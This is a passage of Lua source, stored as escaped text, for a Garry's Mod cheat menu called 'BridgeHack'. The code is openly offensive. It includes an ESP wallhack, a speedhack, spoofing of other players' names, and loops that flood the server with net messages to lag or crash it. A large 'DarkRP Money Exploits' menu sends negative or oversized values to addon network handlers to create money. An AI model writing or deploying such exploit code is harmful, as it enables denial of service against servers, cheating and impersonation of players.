v:SteamID())\x0a\x0a\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09status(\"Name Changing to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if plylastname == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp name \" .. v:Nick() .. math.random(1,10))\x0a\x0a\x09\x09\x09\x09\x09status(\"Changed Name to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_off\",function()\x0a\x0a\x09timer.Destroy(\"startNAMECHANGEsteal\",0.12,0,function()\x0a\x0a\x09end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_removelookingat\",function()\x0a\x0a\x09chatP(\"Removing prop looking at...\")\x0a\x0a\x09net.Start( \"MDE_RemoveStuff_C2S\" ) \x0a\x0a\x09\x09net.WriteTable( {DATA=\"\",TARGET=sweg} ) \x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"__bh_lagdarkrpdashit\",function()\x0a\x0a\x09chatP(\"Starting the lag...\")\x0a\x0a\x09timer.Create(\"lag\"..BridgeHack.RandomVar, 1, 0, function()\x0a\x0a\x09\x09for i=1,10000 do\x0a\x0a\x09\x09\x09net.Start(\"DarkRP_spawnPocket\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09status(\"PROGRESS[10000/10000]\")\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) end)\x0a\x0a\x09\x09\x0a\x0aconcommand.Add( \"__bh_stopplag\",function( )\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"lag\"..BridgeHack.RandomVar)\x0a\x0aend)\x0a\x0a\x0a\x0aif dspam == true then\x0a\x0a\x09chatP(\"Spam split / make shipment ON\")\x0a\x0a\x09timer.Create(\"spamdashit\"..BridgeHack.RandomVar,0.1,function()\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09if v.Entity:GetString() == \"spawned_shipment\" then \x0a\x0a\x09\x09\x09\x09status(\"Splitting shipment\") \x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"splitshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09elseif v.Entity:GetClassName() == \"spawned_weapon\" then \x0a\x0a\x09\x09\x09\x09status(\"Making shipment\")\x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"makeshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09end end end) end\x0a\x0a\x09\x09\x09\x0a\x0aif dspam == false then \x0a\x0a\x09chatP(\"Spam split / make shipment OFF\")\x0a\x0a\x09timer.Simple(1,function()\x0a\x0a\x09\x09timer.Destroy(\"spamdashit\"..BridgeHack.RandomVar,function()\x0a\x0a\x09\x09end) end) end\x0a\x0a\x09\x09\x0a\x0aconcommand.Add(\"bh_kun_ziptie_untie\",function()\x0a\x0a\x09chatP(\"Untieing...\")\x0a\x0a\x09for i=0,30 do \x0a\x0a\x09\x09net.Start(\"Kun_ZiptieStruggle\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"___darkrpshipments\", function()\x0a\x0a\x09if dspam != true then\x0a\x0a\x09\x09dspam = true\x0a\x0a\x09elseif dspam == true then\x0a\x0a\x09\x09dspam = false\x0a\x0a\x09end end)\x0a\x0a\x0a\x0alocal function BridgeHackCHECK(v) \x0a\x0a\x09if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then\x0a\x0a\x09\x09return true\x0a\x0a\x09else\x0a\x0a\x09\x09return false\x0a\x0a\x09end end\x0a\x0a\x0a\x0ahook.Add(\"HUDPaint\", \"JESP\", function() \x0a\x0a\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if GetConVarNumber(\"bh_esp\") > 0 then\x0a\x0a\x09\x09\x09if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_renderdistance_enable\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber(\"bh_esp_rdistance\") then\x0a\x0a\x09\x09\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09\x09\x09local infocolor = Color(255,0,255)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09\x09\x09end end\x0a\x0a\x09\x09\x09\x09else \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09local infocolor = Color(0,255,0)\x0a\x0a\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09end end end end end end)\x0a\x0a\x0a\x0afunction blur_on()\x0a\x0a\x09DrawMaterialOverlay( \"Models/effects/comball_tape\", 0.5 )\x0a\x0aend \x0a\x0a\x0a\x0afunction blur_off()\x0a\x0a\x09DrawMaterialOverlay( \"\", 0.1 )\x0a\x0aend\x0a\x0a\x0a\x0aconcommand.Add(\"+bh_menu\", function( ply ) \x0a\x0a\x09status(\"Menu Opened.\")\x0a\x0a\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_on )\x0a\x0a\x09end\x0a\x0a--[[\x0a\x0a\x09mainmenu\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09THE MAIN\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09MENU\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09STARTS\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09HERE\x0a\x0a\x09\x0a\x0a\x09|\x0a\x0a\x09V\x0a\x0a]]--\x0a\x0alocal menu = DermaMenu() \x0a\x0amenu:Center()\x0a\x0amenu:AddOption( \"BridgeHack \"..dlversion, function() \x0a\x0a\x09AboutMenu()\x0a\x0aend ):SetImage( \"icon16/shield.png\" )\x0a\x0amenu:AddSpacer()\x0a\x0afunction menu:Paint( w, h )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )\x0a\x0a\x09surface.SetDrawColor( 0,0,0 )\x0a\x0a\x09surface.DrawOutlinedRect( 0, 0, w, h)\x0a\x0aend\x0a\x0alocal ForcingMenu, optMenu = menu:AddSubMenu(\"Client-side Forcing\")\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_allowcslua 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Forced SV_ALLOWCSLUA TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_cheats 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Forced SV_CHEATS TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0alocal ESP = menu:AddSubMenu(\"ESP\")\x0a\x0a\x0a\x0aESP:AddOption( \"[ON] ESP\", ESP_on):SetImage( \"icon16/group_add.png\" )\x0a\x0aESP:AddOption( \"[OFF] ESP\", ESP_off):SetImage( \"icon16/group_delete.png\" )\x0a\x0a\x0a\x0alocal Speed = menu:AddSubMenu(\"Speed\")\x0a\x0aSpeed:AddOption( \"[ON] SpeedHack\", speedhack_on):SetImage( \"icon16/lightning_go.png\" )\x0a\x0aSpeed:AddOption( \"[OFF] SpeedHack\", speedhack_off):SetImage( \"icon16/lightning_delete.png\" )\x0a\x0a\x0a\x0a\x0a\x0alocal NameStealSub = menu:AddSubMenu( \"Name Stealing/Changing\" )\x0a\x0aNameStealSub:AddOption( \"[ON] Name Steal\", function()\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_on\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x0a\x0aNameStealSub:AddOption( \"[OFF] Name Steal\", function()\x0a\x0a\x09status(\"Stopped Script: Random Name Change [name steal]\")\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_off\")end ):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0alocal MoneyExploits = menu:AddSubMenu( \"DarkRP Money Explots\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Drug Sell\",function()\x0a\x0a\x09\x09for i=1,1000 do\x0a\x0a\x09\x09\x09net.Start(\"Kun_SellDrug\")\x0a\x0a\x09\x09\x09net.WriteString(\"Meth\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] Taxi Driver Money\",function()\x0a\x0a\x09\x09chatp(\"Giving money\")\x0a\x0a\x09\x09net.Start(\"Taxi_Add\")\x0a\x0a\x09\x09\x09net.WriteString(\"MLG\")\x0a\x0a\x09\x09\x09net.WriteTable({-1333.647461, -1473.931763, -139.968750})\x0a\x0a\x09\x09\x09net.WriteFloat(-99999999)\x0a\x0a\x09\x09\x09net.WriteString(Desc)\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] SS Shelf NET\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09swag = v \x0a\x0a\x09\x09end\x0a\x0a\x09\x09net.Start( 'NET_SS_DoBuyTakeoff' ) \x0a\x0a\x09\x09\x09net.WriteEntity(LocalPlayer()) \x0a\x0a\x09\x09\x09net.WriteEntity(swag) \x0a\x0a\x09\x09\x09net.WriteTable({'spawned_weapon'}) \x0a\x0a\x09\x09\x09net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16) \x0a\x0a\x09\x09\x09net.SendToServer() \x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMAN MONEY\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09net.Start( \"DaHit\" )\x0a\x0a\x09\x09\x09net.WriteFloat( -1000000000000000000000 )\x0a\x0a\x09\x09\x09--net.WriteFloat( tm )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HHH MONEY\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09dahater = v\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local hitRequest = {}\x0a\x0a\x09\x09hitRequest.hitman = ply\x0a\x0a\x09\x09hitRequest.requester = ply\x0a\x0a\x09\x09hitRequest.target = dahater\x0a\x0a\x09\x09hitRequest.reward = 100000000\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Start( 'hhh_request' )\x0a\x0a\x09\x09\x09net.WriteTable( hitRequest )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] BOONPC\",function()\x0a\x0a\x09\x09net.Start('BuyCar')\x0a\x0a\x09\x09net.WriteFloat(-1000000000000)\x0a\x0a\x09\x09net.WriteEntity(LocalPlayer())\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Hitman X Menu\",function()\x0a\x0a\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09frame:Center()\x0a\x0a\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09function frame:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack Hitman X Menu\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09playerMenu:SetTextColor(color_black)\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 180, 2 )\x0a\x0a\x09\x09Button:SetSize( 20, 20 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.SimpleText( \"X\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09SpamHit:SetPos( 20,70 )\x0a\x0a\x09\x09SpamHit:SetSize( 150,20 )\x0a\x0a\x09\x09SpamHit:SetText( \"Get Money\" )\x0a\x0a\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09net.Start( \"SendMoney\" )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09CrashButton:SetPos( 20,90 )\x0a\x0a\x09\x09CrashButton:SetSize( 150,20 )\x0a\x0a\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09CrashButton.DoClick = function()\x09\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxcrash\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local InfaButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09InfaButton:SetPos( 20,110 )\x0a\x0a\x09\x09InfaButton:SetSize( 150,20 )\x0a\x0a\x09\x09InfaButton:SetText( \"Infinite Money For Everyone\" )\x0a\x0a\x09\x09InfaButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09InfaButton.DoClick = function()\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxinfa\")\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/application_form.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMENU\",function()\x0a\x0a\x09\x09local HitPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09HitPanel:SetPos( ScrW()/5, ScrH()/10 )\x0a\x0a\x09\x09\x09HitPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09\x09HitPanel:SetTitle( \" \" )\x0a\x0a\x09\x09\x09HitPanel:SetVisible( true )\x0a\x0a\x09\x09\x09HitPanel:SetDraggable( true )\x0a\x0a\x09\x09\x09HitPanel:ShowCloseButton( false )\x0a\x0a\x09\x09\x09HitPanel:MakePopup()\x0a\x0a\x09\x09\x09function HitPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack HitHack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09Button:SetPos( 250, 0 )\x0a\x0a\x09\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09\x09HitPanel:Close()\x0a\x0a\x09\x09\x09end\x09\x0a\x0a\x0a\x0a\x09\x09local HitButton = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09HitButton:SetPos( 140, 100 )\x0a\x0a\x09\x09\x09HitButton:SetSize( 100, 20 )\x0a\x0a\x09\x09\x09HitButton:SetText( \"Get Money\" )\x0a\x0a\x09\x09\x09HitButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09\x09function HitButton:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09HitButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hithack\")\x0a\x0a\x09\x09\x09end\x09\x09\x0a\x0a\x0a\x0a\x09\x09local HitSlider = vgui.Create( \"DNumSlider\", HitPanel )\x0a\x0a\x09\x09\x09HitSlider:SetPos( 20, 50 )\x0a\x0a\x09\x09\x09HitSlider:SetSize( 300, 40 )\x0a\x0a\x09\x09\x09HitSlider:SetText( \"Money Ammount\" )\x0a\x0a\x09\x09\x09HitSlider:SetMin( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetMax( 1000000000 )\x0a\x0a\x09\x09\x09HitSlider:SetDecimals( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetConVar( \"bh_hitmenuammount\" )\x0a\x0a\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] 3D Car Dealer\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_3dcardealer_spamstore\")\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] VCMOD Sell-car\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\") \x0a\x0a\x09\x09for i=0,30 do \x0a\x0a\x09\x09\x09for i=1,10 do \x0a\x0a\x09\x09\x09\x09net.Start( \"AttemptSellCar\" ) \x0a\x0a\x09\x09\x09\x09net.WriteInt( i, 8 ) \x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] BAILNPC\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09\x09net.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteFloat( -10000000000000)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] REALISTIC ATM\",function()\x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( true )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack Realistic ATM Hack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local TextEntry = vgui.Create( \"DTextEntry\", DermaPanel )\x0a\x0a\x09\x09TextEntry:SetPos( 75, 30 )\x0a\x0a\x09\x09TextEntry:SetSize( 150, 25 )\x0a\x0a\x09\x09TextEntry:SetText( \"Account num(Including the -!)\" )\x0a\x0a\x09\x09\x0a\x0a\x09\x09local BBDButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09BBDButton:SetPos( 10, 120 )\x0a\x0a\x09\x09BBDButton:SetText( \"Give Money\" )\x0a\x0a\x09\x09BBDButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09BBDButton:SetSize( 280, 75 )\x0a\x0a\x09\x09function BBDButton:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09BBDButton.DoClick = function()\x0a\x0a\x09\x09\x09local accnumber = TextEntry:GetValue()\x0a\x0a\x09\x09\x09local moneytogive = GetConVarNumber(\"bh_ratm_money2give\")\x0a\x0a\x09\x09\x09chatP(\"Attempting to give \"..moneytogive..\"$ on Account Number: \"..accnumber)\x0a\x0a\x09\x09\x09net.Start(\"ATM_DepositMoney_C2S\")\x0a\x0a\x09\x09\x09\x09net.WriteTable({Memo 